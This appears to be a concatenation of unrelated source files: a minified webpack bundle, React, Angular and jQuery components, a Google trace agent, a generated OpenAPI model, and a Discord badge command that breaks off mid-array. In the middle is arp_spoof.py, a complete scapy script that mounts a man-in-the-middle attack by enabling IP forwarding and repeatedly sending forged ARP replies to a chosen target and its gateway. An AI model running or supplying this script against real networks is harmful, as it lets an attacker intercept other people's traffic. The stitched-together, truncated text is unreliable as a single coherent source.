t}},Q={noPrefill:["text-orientation"],supportedProperty:function(t){return"text-orientation"===t&&("apple"!==X.vendor||X.isTouch?t:X.css+t)}},tt={noPrefill:["transform"],supportedProperty:function(t,e,n){return"transform"===t&&(n.transform?t:X.css+t)}},et={noPrefill:["transition"],supportedProperty:function(t,e,n){return"transition"===t&&(n.transition?t:X.css+t)}},nt={noPrefill:["writing-mode"],supportedProperty:function(t){return"writing-mode"===t&&("Webkit"===X.js||"ms"===X.js?X.css+t:t)}},rt={noPrefill:["user-select"],supportedProperty:function(t){return"user-select"===t&&("Moz"===X.js||"ms"===X.js||"apple"===X.vendor?X.css+t:t)}},ot={supportedProperty:function(t,e){return!!/^break-/.test(t)&&("Webkit"===X.js?"WebkitColumn"+Y(t)in e&&X.css+"column-"+t:"Moz"===X.js&&("page"+Y(t)in e&&"page-"+t))}},it={supportedProperty:function(t,e){if(!/^(border|margin|padding)-inline/.test(t))return!1;if("Moz"===X.js)return t;var n=t.replace("-inline","");return X.js+Y(n)in e&&X.css+n}},at={supportedProperty:function(t,e){return Z(t)in e&&t}},st={supportedProperty:function(t,e){var n=Y(t);return"-"===t[0]?t:"-"===t[0]&&"-"===t[1]?t:X.js+n in e?X.css+t:"Webkit"!==X.js&&"Webkit"+n in e&&"-webkit-"+t}},ut={supportedProperty:function(t){return"scroll-snap"===t.substring(0,11)&&("ms"===X.js?""+X.css+t:t)}},ct={supportedProperty:function(t){return"overscroll-behavior"===t&&("ms"===X.js?X.css+"scroll-chaining":t)}},lt={"flex-grow":"flex-positive","flex-shrink":"flex-negative","flex-basis":"flex-preferred-size","justify-content":"flex-pack",order:"flex-order","align-items":"flex-align","align-content":"flex-line-pack"},ft={supportedProperty:function(t,e){var n=lt[t];return!!n&&(X.js+Y(n)in e&&X.css+n)}},pt={flex:"box-flex","flex-grow":"box-flex","flex-direction":["box-orient","box-direction"],order:"box-ordinal-group","align-items":"box-align","flex-flow":["box-orient","box-direction"],"justify-content":"box-pack"},ht=Object.keys(pt),dt=function(t){return X.css+t},vt=[H,G,$,Q,tt,et,nt,rt,ot,it,at,st,ut,ct,ft,{supportedProperty:function(t,e,n){var r=n.multiple;if(ht.indexOf(t)>-1){var o=pt[t];if(!Array.isArray(o))return X.js+Y(o)in e&&X.css+o;if(!r)return!1;for(var i=0;i<o.length;i++)if(!(X.js+Y(o[0])in e))return!1;return o.map(dt)}return!1}}],yt=vt.filter((function(t){return t.supportedProperty})).map((function(t){return t.supportedProperty})),gt=vt.filter((function(t){return t.noPrefill})).reduce((function(t,e){return t.push.apply(t,Object(U.a)(e.noPrefill)),t}),[]),mt={};if(M.a){z=document.createElement("p");var bt=window.getComputedStyle(document.documentElement,"");for(var wt in bt)isNaN(wt)||(mt[bt[wt]]=bt[wt]);gt.forEach((function(t){return delete mt[t]}))}function St(t,e){if(void 0===e&&(e={}),!z)return t;if(null!=mt[t])return mt[t];"transition"!==t&&"transform"!==t||(e[t]=t in z.style);for(var n=0;n<yt.length&&(mt[t]=yt[n](t,z.style,e),!mt[t]);n++);try{z.style[t]=""}catch(r){return!1}return mt[t]}var xt,Ot={},Pt={transition:1,"transition-property":1,"-webkit-transition":1,"-webkit-transition-property":1},_t=/(^\s*[\w-]+)|, (\s*[\w-]+)(?![^()]*\))/g;function jt(t,e,n){if("var"===e)return"var";if("all"===e)return"all";if("all"===n)return", all";var r=e?St(e):", "+St(n);return r||(e||n)}function Rt(t,e){var n=e;if(!xt||"content"===t)return e;if("string"!=typeof n||!isNaN(parseInt(n,10)))return n;var r=t+n;if(null!=Ot[r])return Ot[r];try{xt.style[t]=n}catch(o){return Ot[r]=!1,!1}if(Pt[t])n=n.replace(_t,jt);else if(""===xt.style[t]&&("-ms-flex"===(n=X.css+n)&&(xt.style[t]="-ms-flexbox"),xt.style[t]=n,""===xt.style[t]))return Ot[r]=!1,!1;return xt.style[t]="",Ot[r]=n,Ot[r]}M.a&&(xt=document.createElement("p"));var Et=function(){function t(e){for(var n in e){var o=e[n];if("fallbacks"===n&&Array.isArray(o))e[n]=o.map(t);else{var i=!1,a=St(n);a&&a!==n&&(i=!0);var s=!1,u=Rt(a,Object(r.g)(o));u&&u!==o&&(s=!0),(i||s)&&(i&&delete e[n],e[a||n]=u||o)}}return e}return{onProcessRule:function(t){if("keyframes"===t.type){var e=t;e.at="-"===(n=e.at)[1]?n:"ms"===X.js?n:"@"+X.css+"keyframes"+n.substr(10)}var n},onProcessStyle:function(e,n){return"style"!==n.type?e:t(e)},onChangeValue:function(t,e){return Rt(e,Object(r.g)(t))||t}}};n("Vd3H");var kt=function(){var t=function(t,e){return t.length===e.length?t>e?1:-1:t.length-e.length};return{onProcessStyle:function(e,n){if("style"!==n.type)return e;for(var r={},o=Object.keys(e).sort(t),i=0;i<o.length;i++)r[o[i]]=e[o[i]];return r}}};e.a=function(){return{plugins:[s(),v(),b(),j(),F(),"undefined"==typeof window?null:Et(),kt()]}}},w2a5:function(t,e,n){var r=n("aCFj"),o=n("ne8i"),i=n("d/Gc");t.exports=function(t){return function(e,n,a){var s,u=r(e),c=o(u.length),l=i(a,c);if(t&&n!=n){for(;c>l;)if((s=u[l++])!=s)return!0}else for(;c>l;l++)if((t||l in u)&&u[l]===n)return t||l||0;return!t&&-1}}},wCsR:function(t,e,n){"use strict";var r=n("ZD67"),o=n("s5qY");n("4LiD")("WeakSet",(function(t){return function(){return t(this,arguments.length>0?arguments[0]:void 0)}}),{add:function(t){return r.def(o(this,"WeakSet"),t,!0)}},r,!1,!0)},wmvG:function(t,e,n){"use strict";var r=n("hswa").f,o=n("Kuth"),i=n("3Lyj"),a=n("m0Pp"),s=n("9gX7"),u=n("SlkY"),c=n("Afnz"),l=n("1TsA"),f=n("elZq"),p=n("nh4g"),h=n("Z6vF").fastKey,d=n("s5qY"),v=p?"_s":"size",y=function(t,e){var n,r=h(e);if("F"!==r)return t._i[r];for(n=t._f;n;n=n.n)if(n.k==e)return n};t.exports={getConstructor:function(t,e,n,c){var l=t((function(t,r){s(t,l,e,"_i"),t._t=e,t._i=o(null),t._f=void 0,t._l=void 0,t[v]=0,null!=r&&u(r,n,t[c],t)}));return i(l.prototype,{clear:function(){for(var t=d(this,e),n=t._i,r=t._f;r;r=r.n)r.r=!0,r.p&&(r.p=r.p.n=void 0),delete n[r.i];t._f=t._l=void 0,t[v]=0},delete:function(t){var n=d(this,e),r=y(n,t);if(r){var o=r.n,i=r.p;delete n._i[r.i],r.r=!0,i&&(i.n=o),o&&(o.p=i),n._f==r&&(n._f=o),n._l==r&&(n._l=i),n[v]--}return!!r},forEach:function(t){d(this,e);for(var n,r=a(t,arguments.length>1?arguments[1]:void 0,3);n=n?n.n:this._f;)for(r(n.v,n.k,this);n&&n.r;)n=n.p},has:function(t){return!!y(d(this,e),t)}}),p&&r(l.prototype,"size",{get:function(){return d(this,e)[v]}}),l},def:function(t,e,n){var r,o,i=y(t,e);return i?i.v=n:(t._l=i={i:o=h(e,!0),k:e,v:n,p:r=t._l,n:void 0,r:!1},t._f||(t._f=i),r&&(r.n=i),t[v]++,"F"!==o&&(t._i[o]=i)),t},getEntry:y,setStrong:function(t,e,n){c(t,e,(function(t,n){this._t=d(t,e),this._k=n,this._l=void 0}),(function(){for(var t=this._k,e=this._l;e&&e.r;)e=e.p;return this._t&&(this._l=e=e?e.n:this._t._f)?l(0,"keys"==t?e.k:"values"==t?e.v:[e.k,e.v]):(this._t=void 0,l(1))}),n?"entries":"values",!n,!0),f(e)}}},wx14:function(t,e,n){"use strict";function r(){return(r=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(t[r]=n[r])}return t}).apply(this,arguments)}n.d(e,"a",(function(){return r}))},xpql:function(t,e,n){t.exports=!n("nh4g")&&!n("eeVq")((function(){return 7!=Object.defineProperty(n("Iw71")("div"),"a",{get:function(){return 7}}).a}))},xtsi:function(t,e,n){n("VRzm"),n("Btvt");var r=n("LeKB"),o=n("emEt").publicLoader,i=o.getResourcesForPathname,a=o.getResourcesForPathnameSync,s=o.getResourceURLsForPathname,u=o.loadPage,c=o.loadPageSync;e.apiRunner=function(t,e,n,o){void 0===e&&(e={});var l=r.map((function(n){if(n.plugin[t]){e.getResourcesForPathnameSync=a,e.getResourcesForPathname=i,e.getResourceURLsForPathname=s,e.loadPage=u,e.loadPageSync=c;var r=n.plugin[t](e,n.options);return r&&o&&(e=o({args:e,result:r,plugin:n})),r}}));return(l=l.filter((function(t){return void 0!==t}))).length>0?l:n?[n]:[]},e.apiRunnerAsync=function(t,e,n){return r.reduce((function(n,r){return r.plugin[t]?n.then((function(){return r.plugin[t](e,r.options)})):n}),Promise.resolve())}},y3w9:function(t,e,n){var r=n("0/R4");t.exports=function(t){if(!r(t))throw TypeError(t+" is not an object!");return t}},ylqs:function(t,e){var n=0,r=Math.random();t.exports=function(t){return"Symbol(".concat(void 0===t?"":t,")_",(++n+r).toString(36))}},yt8O:function(t,e,n){"use strict";var r=n("nGyu"),o=n("1TsA"),i=n("hPIQ"),a=n("aCFj");t.exports=n("Afnz")(Array,"Array",(function(t,e){this._t=a(t),this._i=0,this._k=e}),(function(){var t=this._t,e=this._k,n=this._i++;return!t||n>=t.length?(this._t=void 0,o(1)):o(0,"keys"==e?n:"values"==e?t[n]:[n,t[n]])}),"values"),i.Arguments=i.Array,r("keys"),r("values"),r("entries")},zLVn:function(t,e,n){"use strict";function r(t,e){if(null==t)return{};var n,r,o={},i=Object.keys(t);for(r=0;r<i.length;r++)n=i[r],e.indexOf(n)>=0||(o[n]=t[n]);return o}n.d(e,"a",(function(){return r}))},zRwo:function(t,e,n){var r=n("6FMO");t.exports=function(t,e){return new(r(t))(e)}},zhAb:function(t,e,n){var r=n("aagx"),o=n("aCFj"),i=n("w2a5")(!1),a=n("YTvA")("IE_PROTO");t.exports=function(t,e){var n,s=o(t),u=0,c=[];for(n in s)n!=a&&r(s,n)&&c.push(n);for(;e.length>u;)r(s,n=e[u++])&&(~i(c,n)||c.push(n));return c}},zteo:function(t,e,n){"use strict";n("rE2o"),n("ioFf");var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},o="object"===("undefined"==typeof window?"undefined":r(window))&&"object"===("undefined"==typeof document?"undefined":r(document))&&9===document.nodeType;e.a=o}},[["UxWs",4,1]]]);
//# sourceMappingURL=app-b9869005c44e5d70c827.js.map
|
export const setSearchTerm = (state, searchPattern) => ({
search: {...state.search, pattern: searchPattern}
})
|
#!/usr/bin/env python3
# arp_spoof.py
# Goal -> Perform man-in-the-middle via ARP spoofing
# steps: Craft Packets to Victim and Gateway
# Get MAC address for targets
# Keep sending packets until finished with attack
# Restore ARP tables of Victim and Gateway
import argparse
import time
import subprocess
import scapy.all as scapy
def get_args():
parser = argparse.ArgumentParser(description="ARP Spoofing: Man-in-the-middle")
parser.add_argument("-t", "--target", dest="target_ip", help="Enter ip address of target")
parser.add_argument("-g", "--gateway", dest="gateway_ip", help="Enter gateway ip address")
parameters = parser.parse_args()
if not parameters.target_ip:
parser.error("[-] Please specify a Target IP address.")
exit(1)
if not parameters.gateway_ip:
parser.error("[-] Please specify the Gateway IP address.")
exit(1)
return parameters
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
# scapy automatically adds attack machines MAC address
# print(packet.show())
# print(packet.summary())
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
# added hwsrc to restore arp tables back to normal
# print(packet.show())
# print(packet.summary())
scapy.send(packet, count=4, verbose=False)
args = get_args()
target_ip = args.target_ip
gateway_ip = args.gateway_ip
subprocess.run("echo 1 > /proc/sys/net/ipv4/ip_forward", shell=True)
print("[+] IP Forwarding: Enabled.\n--------------------------------")
print("[+] Running ARP Spoof ...\n--------------------------------")
print("[+] Target:", target_ip)
print("[+] Gateway:", gateway_ip, "\n--------------------------------")
sent_packets_count = 0
try:
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count += 2
print("\r[+] Total packets sent:", sent_packets_count, end='', flush=True)
time.sleep(2)
except KeyboardInterrupt:
print("\n[-] Detected Ctrl+C -> Restoring ARP tables...")
restore(target_ip, gateway_ip)
print("[+] Target Restored.")
restore(gateway_ip, target_ip)
print("[+] Gateway Restored.")
subprocess.run("echo 0 > /proc/sys/net/ipv4/ip_forward", shell=True)
print("[-] IP Forwarding: Disabled.")
print("[-] Quitting.")
|
const call2 = (a,b,c) => (() => a(b,c));
const smoothYScrool = (diff, time) => {
window.scrollBy(0, Math.ceil(diff/time))
if (time > 0)
setTimeout(call2(smoothYScrool, diff - Math.ceil(diff/time), time-1), 1)
}
const smooth = (id) => {
let origin = window.pageYOffset
let destination = document.querySelector(id).offsetTop
let diff = destination - origin
let time = 80
smoothYScrool(diff, time)
}
|
import request from '@/utils/request'
export function fetchList(query) {
return request({
url: '/backstage-service/channel/getChannel',
method: 'get',
params: query
})
}
export function fetchArticle(id) {
return request({
url: '/vue-element-admin/company/detail',
method: 'get',
params: { id }
})
}
export function fetchPv(pv) {
return request({
url: '/vue-element-admin/company/pv',
method: 'get',
params: { pv }
})
}
export function createArticle(data) {
return request({
url: '/backstage-service/channel/addChannel',
method: 'post',
data
})
}
export function updateArticle(data) {
return request({
url: '/vue-element-admin/company/update',
method: 'post',
data
})
}
export function deleteList(data) {
return request({
url: '/backstage-service/channel/deleteChannel',
method: 'delete',
data: {
channelId: data
}
})
}
export function getChannel(data) {
return request({
url: '/backstage-service/channel/getChannelCategory',
method: 'get',
data: data
})
}
|
/**
* Copyright (c) 2015, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
* @providesModule FixedDataTableCellDefault.react
* @typechecks
*/
var React = require('React');
var cx = require('cx');
var joinClasses = require('joinClasses');
var {PropTypes} = React;
/**
* Component that handles default cell layout and styling.
*
* All props unless specified below will be set onto the top level `div`
* rendered by the cell.
*
* Example usage via from a `Column`:
* ```
* const MyColumn = (
* <Column
* cell={({rowIndex, width, height}) => (
* <Cell
* width={width}
* height={height}
* className="my-class">
* Cell number: <span>{rowIndex}</span>
* </Cell>
* )}
* width={100}
* />
* );
* ```
*/
var FixedDataTableCellDefault = React.createClass({
propTypes: {
/**
* Outer height of the cell.
*/
height: PropTypes.number,
/**
* Outer width of the cell.
*/
width: PropTypes.number,
/**
* Optional prop that if specified on the `Column` will be passed to the
* cell. It can be used to uniquely identify which column is the cell is in.
*/
columnKey: PropTypes.oneOfType([
PropTypes.string,
PropTypes.number,
]),
},
render() {
var {
height,
width,
style,
className,
children,
columnKey, // Unused but should not be passed through
rowIndex, // Unused but should not be passed through
...props
} = this.props;
var innerStyle = {
height,
width,
...style,
};
return (
<div
{...props}
className={joinClasses(
cx('fixedDataTableCellLayout/wrap1'),
cx('public/fixedDataTableCell/wrap1'),
className,
)}
style={innerStyle}>
<div
className={joinClasses(
cx('fixedDataTableCellLayout/wrap2'),
cx('public/fixedDataTableCell/wrap2'),
)}>
<div
className={joinClasses(
cx('fixedDataTableCellLayout/wrap3'),
cx('public/fixedDataTableCell/wrap3'),
)}>
<div className={cx('public/fixedDataTableCell/cellContent')}>
{children}
</div>
</div>
</div>
</div>
);
},
});
module.exports = FixedDataTableCellDefault;
|
/**
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
'use strict';
var cls = require('./cls');
var hooks = require('./hooks/index.js');
var Trace = require('./trace.js');
var SpanData = require('./span-data.js');
var TraceWriter = require('./trace-writer.js');
var uuid = require('uuid');
var constants = require('./constants.js');
var tracingPolicy = require('./tracing-policy.js');
var isEqual = require('lodash.isequal');
/** @type {TraceAgent} */
var traceAgent;
/**
* @constructor
*/
function TraceAgent(config, logger) {
this.config_ = config;
this.logger = logger;
hooks.activate(this);
this.namespace = cls.createNamespace();
this.traceWriter = new TraceWriter(logger, config);
this.getCls = function() {
return cls;
};
this.policy = tracingPolicy.createTracePolicy(config);
if (config.onUncaughtException !== 'ignore') {
this.unhandledException = function() {
traceAgent.traceWriter.flushBuffer_();
if (config.onUncaughtException === 'flushAndExit') {
setTimeout(function() {
process.exit(1);
}, 2000);
}
};
process.on('uncaughtException', this.unhandledException);
}
logger.info('trace agent activated');
}
/**
* Halts this agent and unpatches any patched modules.
*/
TraceAgent.prototype.stop = function() {
hooks.deactivate();
cls.destroyNamespace();
this.traceWriter.stop();
this.namespace = null;
traceAgent = null;
if (this.config_.onUncaughtException !== 'ignore') {
process.removeListener('uncaughtException', this.unhandledException);
}
this.logger.info('trace agent deactivated');
};
/**
* Returns the agent configuration
* @return {object} configuration
*/
TraceAgent.prototype.config = function() {
return this.config_;
};
/**
* Begin a new custom span.
* @param {string} name The name of the span.
* @param {Object<string, string}>=} labels Labels to be attached
* to the newly created span.
* @param {number=} skipFrames The number of caller frames to eliminate from
* stack traces.
* @return {SpanData} The newly created span.
*/
TraceAgent.prototype.startSpan = function(name, labels, skipFrames) {
var rootSpan = cls.getRootContext();
skipFrames = skipFrames || 0;
if (rootSpan) {
var newSpan = rootSpan.createChildSpanData(name, skipFrames + 1);
if (labels) {
Object.keys(labels).forEach(function(key) {
newSpan.addLabel(key, labels[key]);
});
}
return newSpan;
} else {
this.logger.error
('Spans can only be created inside a supported web framework');
return SpanData.nullSpan;
}
};
/**
* Close the provided span.
* @param {SpanData} spanData The span to be ended.
* @param {Object<string, string}>=} labels Labels to be attached
* to the terminated span.
*/
TraceAgent.prototype.endSpan = function(spanData, labels) {
if (labels) {
Object.keys(labels).forEach(function(key) {
spanData.addLabel(key, labels[key]);
});
}
spanData.close();
};
/**
* Run the provided function in a new span with the provided name.
* If the provided function accepts a parameter, it is assumed to be
* async and is given a continuation to terminate the span after its
* work is completed.
* @param {string} name The name of the resulting span.
* @param {Object<string, string}>=} labels Labels to be attached
* to the resulting span.
* @param {function(function()=)} fn The function to trace.
*/
TraceAgent.prototype.runInSpan = function(name, labels, fn) {
if (typeof(labels) === 'function') {
fn = labels;
labels = undefined;
}
var span = this.startSpan(name, labels, 1);
if (fn.length === 0) {
fn();
this.endSpan(span);
} else {
fn(this.endSpan.bind(this, span));
}
};
/**
* Run the provided function in a new root span with the provided
* name. As with runInSpan, if the provided function accepts a parameter,
* it is assumed to be asynchronous, and a callback will be passed
* to the function to terminate the root span.
* @param {string} name The name of the resulting root span.
* @param {Object<string, string}>=} labels Labels to be attached
* to the resulting span.
* @param {function(function()=)} fn The function to trace.
*/
TraceAgent.prototype.runInRootSpan = function(name, labels, fn) {
if (typeof(labels) === 'function') {
fn = labels;
labels = undefined;
}
var self = this;
this.namespace.run(function () {
if (cls.getRootContext()) {
self.logger.error('Can\'t nest root spans');
return;
}
var span = self.createRootSpanData(name, null, null, 3, 'SPAN_KIND_UNSPECIFIED');
if (labels) {
Object.keys(labels).forEach(function(key) {
span.addLabel(key, labels[key]);
});
}
if (fn.length === 0) {
fn();
span.close();
} else {
fn(function () {
span.close();
});
}
});
};
/**
* Set the name of the root transaction.
* @param {string} name The new name for the current root transaction.
*/
TraceAgent.prototype.setTransactionName = function(name) {
var rootSpan = cls.getRootContext();
if (rootSpan === SpanData.nullSpan) {
return;
}
if (rootSpan) {
rootSpan.span.name = name;
} else {
this.logger.error('Cannot set transaction name without an active transaction');
}
};
/**
* Add a new key value label to the root transaction.
* @param {string} key The key for the new label.
* @param {string} value The value for the new label.
*/
TraceAgent.prototype.addTransactionLabel = function(key, value) {
var rootSpan = cls.getRootContext();
if (rootSpan) {
rootSpan.addLabel(key, value);
} else {
this.logger.error('Cannot add label without an active transaction');
}
};
/**
* Determines whether a trace of the given name should be recorded based
* on the current tracing policy.
*
* @param {object} request object
* @param {!number} options the trace header options
*/
TraceAgent.prototype.shouldTrace = function(request, options) {
var locallyAllowed = this.policy.shouldTrace(Date.now(), request);
// Note: remotelyDisallowed is false if no trace options are present.
var remotelyDisallowed = !(isNaN(options) ||
(options & constants.TRACE_OPTIONS_TRACE_ENABLED));
return locallyAllowed && !remotelyDisallowed;
};
/**
* Call this from inside a namespace.run().
* @param {string} name The name of the root span.
* @param {string} traceId The id of the trace owning this span.
* @param {string} parentId The id of the parent span.
* @param {number=} skipFrames The number of caller frames to eliminate from
* stack traces.
* @param {string} spanKind The kind of root span; one of 'RPC_SERVER',
* 'RPC_CLIENT', or 'SPAN_KIND_UNSPECIFIED'.
*/
TraceAgent.prototype.createRootSpanData = function(name, traceId, parentId,
skipFrames, spanKind) {
traceId = traceId || (uuid.v4().split('-').join(''));
parentId = parentId || '0';
skipFrames = skipFrames || 0;
spanKind = spanKind || 'RPC_SERVER';
var trace = new Trace(0, traceId); // project number added later
var spanData = new SpanData(this, trace, name, parentId, true, skipFrames + 1);
spanData.span.kind = spanKind;
cls.setRootContext(spanData);
return spanData;
};
/**
* Checks if a given request if one being made by ourselves
*/
TraceAgent.prototype.isTraceAgentRequest = function(options) {
return options && options.headers &&
!!options.headers[constants.TRACE_AGENT_REQUEST_HEADER];
};
/**
* Parse a cookie-style header string to extract traceId, spandId and options
* ex: '123456/667;o=3'
* -> {traceId: '123456', spanId: '667', options: '3'}
* note that we ignore trailing garbage if there is more than one '='
* Returns null if traceId or spanId are could not be found.
*
* @param {string} str string representation of the trace headers
* @return {?{traceId: string, spanId: string, options: number}}
* object with keys. null if there is a problem.
*/
TraceAgent.prototype.parseContextFromHeader = function(str) {
if (this.config_.ignoreContextHeader) {
return null;
}
if (!str) {
return null;
}
var matches = str.match(/^([0-9a-fA-F]+)(?:\/([0-9a-fA-F]+))?(?:;o=(.*))?/);
if (!matches || matches.length !== 4 || matches[0] !== str ||
(matches[2] && isNaN(matches[2]))) {
return null;
}
return {
traceId: matches[1],
spanId: matches[2],
options: Number(matches[3])
};
};
/**
* Generates a trace context header value that can be used
* to follow the associated request through other Google services.
*
* @param {SpanData} spanData The span to be added to headers. Must not
* be the nullSpan.
* @param {boolean} traced Whether this request was traced by the agent.
*/
TraceAgent.prototype.generateTraceContext = function(spanData, traced) {
if (spanData === SpanData.nullSpan) {
return '';
}
var header = spanData.trace.traceId + '/' + spanData.span.spanId;
var options = traced ?
spanData.options | constants.TRACE_OPTIONS_TRACE_ENABLED :
spanData.options;
header += (';o=' + options);
return header;
};
module.exports = {
get: function(config, logger) {
if (traceAgent) {
if (!isEqual(config, traceAgent.config_)) {
traceAgent.logger.warn('New configuration does not match configuration' +
'of existing agent. The old configuration will be used.\nNew: ' +
JSON.stringify(config) + '\nExisting: ' +
JSON.stringify(traceAgent.config_));
}
return traceAgent;
}
traceAgent = new TraceAgent(config, logger);
return traceAgent;
}
};
|
# coding: utf-8
"""
OpenAPI Petstore
This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\ # noqa: E501
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
import sys # noqa: F401
import typing # noqa: F401
from frozendict import frozendict # noqa: F401
import decimal # noqa: F401
from datetime import date, datetime # noqa: F401
from frozendict import frozendict # noqa: F401
from petstore_api.schemas import ( # noqa: F401
AnyTypeSchema,
ComposedSchema,
DictSchema,
ListSchema,
StrSchema,
IntSchema,
Int32Schema,
Int64Schema,
Float32Schema,
Float64Schema,
NumberSchema,
DateSchema,
DateTimeSchema,
DecimalSchema,
BoolSchema,
BinarySchema,
NoneSchema,
none_type,
InstantiationMetadata,
Unset,
unset,
ComposedBase,
ListBase,
DictBase,
NoneBase,
StrBase,
IntBase,
Int32Base,
Int64Base,
Float32Base,
Float64Base,
NumberBase,
DateBase,
DateTimeBase,
BoolBase,
BinaryBase,
Schema,
_SchemaValidator,
_SchemaTypeChecker,
_SchemaEnumMaker
)
class IsoscelesTriangleAllOf(
DictSchema
):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
class triangleType(
_SchemaEnumMaker(
enum_value_to_name={
"IsoscelesTriangle": "ISOSCELESTRIANGLE",
}
),
StrSchema
):
@classmethod
@property
def ISOSCELESTRIANGLE(cls):
return cls._enum_by_value["IsoscelesTriangle"]("IsoscelesTriangle")
def __new__(
cls,
*args: typing.Union[dict, frozendict, ],
triangleType: typing.Union[triangleType, Unset] = unset,
_instantiation_metadata: typing.Optional[InstantiationMetadata] = None,
**kwargs: typing.Type[Schema],
) -> 'IsoscelesTriangleAllOf':
return super().__new__(
cls,
*args,
triangleType=triangleType,
_instantiation_metadata=_instantiation_metadata,
**kwargs,
)
|
import angular from 'angular';
import uiRouter from 'angular-ui-router';
import components from './components';
// import services from './server'
// import commonComponents from './commonComponents';
// import 'bootstrap/dist/css/bootstrap.css'
import appRouter from './config/app.router';
import './assets/css/main.less';
import style from './app.less';
const appComponent = {
restrict: 'E',
template: require('./app.html'),
controller: function () {
this.class = style;
},
controllerAs: 'app'
};
export default angular.module('sass', [uiRouter, components/* , services, commonComponents */])
.config(appRouter)
.component('app', appComponent)
.name;
|
jQuery(document).ready(function($){function n(n){var i=e();t.offset().top>$(window).scrollTop()&&"mobile"!=i?$("body,html").animate({scrollTop:t.offset().top},100,function(){o(n,!0)}):t.offset().top+t.height()<$(window).scrollTop()+$(window).height()&&"mobile"!=i?$("body,html").animate({scrollTop:t.offset().top+t.height()-$(window).height()},100,function(){o(n,!0)}):o(n,!0)}function o(n,o){if(o){var t=i.find(".bh-fold-content");t.load(n+" .bh-fold-content > *",function(n){setTimeout(function(){$("body").addClass("overflow-hidden"),i.addClass("is-open"),l.addClass("fold-is-open")},100)})}else{var s=e();i.removeClass("is-open"),l.removeClass("fold-is-open"),"mobile"==s||$(".no-csstransitions").length>0?$("body").removeClass("overflow-hidden"):l.find(".bh-item").eq(0).one("webkitTransitionEnd otransitionend oTransitionEnd msTransitionEnd transitionend",function(){$("body").removeClass("overflow-hidden"),l.find(".bh-item").eq(0).off("webkitTransitionEnd otransitionend oTransitionEnd msTransitionEnd transitionend")})}}function e(){return window.getComputedStyle(document.querySelector(".bh-main"),"::before").getPropertyValue("content").replace(/"/g,"").replace(/'/g,"")}var t=$(".bh-gallery"),i=$(".bh-folding-panel"),l=$(".bh-main");t.on("click","a",function(o){o.preventDefault(),n($(this).attr("href"))}),i.on("click",".bh-close",function(n){n.preventDefault(),o("",!1)}),t.on("click",function(n){$(n.target).is(".bh-gallery")&&$(".fold-is-open").length>0&&o("",!1)})});
|
var searchData=
[
['util_20functions',['Util functions',['../group__UTIL.html',1,'']]]
];
|
const Command = require("../../structures/Command");
const Discord = require("discord.js");
const Emotes = require("../../emotes.json");
module.exports = class extends Command {
constructor(...args) {
super(...args, {
description: "Returns the amount of badges in the server",
category: "Bot",
usage: "!badges",
clientPerms: ["EMBED_LINKS"],
});
}
async run(message, _args) {
let staff = 0;
let partner = 0;
let hypesquad_events = 0;
let hypesquad_bravery = 0;
let hypesquad_brilliance = 0;
let hypesquad_balance = 0;
let bughunter_green = 0;
let bughunter_gold = 0;
let earlysupport = 0;
let botdeveloper = 0;
message.guild.members.cache.array().forEach(member => {
const badges = Badge(member.user.flags);
for (let i = 0; i < badges.length; i++) {
switch (badges[i]) {
case "STAFF":
staff++;
break;
case "PARTNERED_SERVER_OWNER":
partner++;
break;
case "HYPESQUAD_EVENTS":
hypesquad_events++;
break;
case "HOUSE_BRAVERY":
hypesquad_bravery++;
break;
case "HOUSE_BRILLIANCE":
hypesquad_brilliance++;
break;
case "HOUSE_BALANCE":
hypesquad_balance++;
break;
case "BUGHUNTER_LEVEL_1":
bughunter_green++;
break;
case "BUGHUNTER_LEVEL_2":
bughunter_gold++;
break;
case "EARLY_VERIFIED_DEVELOPER":
botdeveloper++;
break;
case "EARLY_SUPPORTER":
earlysupport++;
break;
default:
break;
}
}
});
const desc = [
`Badges on **${message.guild.name}** from **${message.guild.memberCount}** members\n`,
`${Emotes.flags.DISCORD_EMPLOYEE} Discord Staff: **${staff}**`,
`${Emotes.flags.PARTNERED_SERVER_OWNER} Partner Server Owner: **${partner}**`,
`${Emotes.flags.HYPESQUAD_EVENTS} HypeSquad Events: **${hypesquad_events}**`,
`${Emotes.flags.HOUSE_BRAVERY} HypeSquad Bravery: **${hypesquad_bravery}**`,
`${Emotes.flags.HOUSE_BRILLIANCE} HypeSquad Brilliance: **${hypesquad_brilliance}**`,
`${Emotes.flags.HOUSE_BALANCE} HypeSquad Balance: **${hypesquad_balance}**`,
`${Emotes.flags.BUGHUNTER_LEVEL_1} Discord Bug Hunter: **${bughunter_green}**`,
`${Emotes.flags.BUGHUNTER_LEVEL_2} Discord Bug Hunter Gold: **${bughunter_gold}**`,
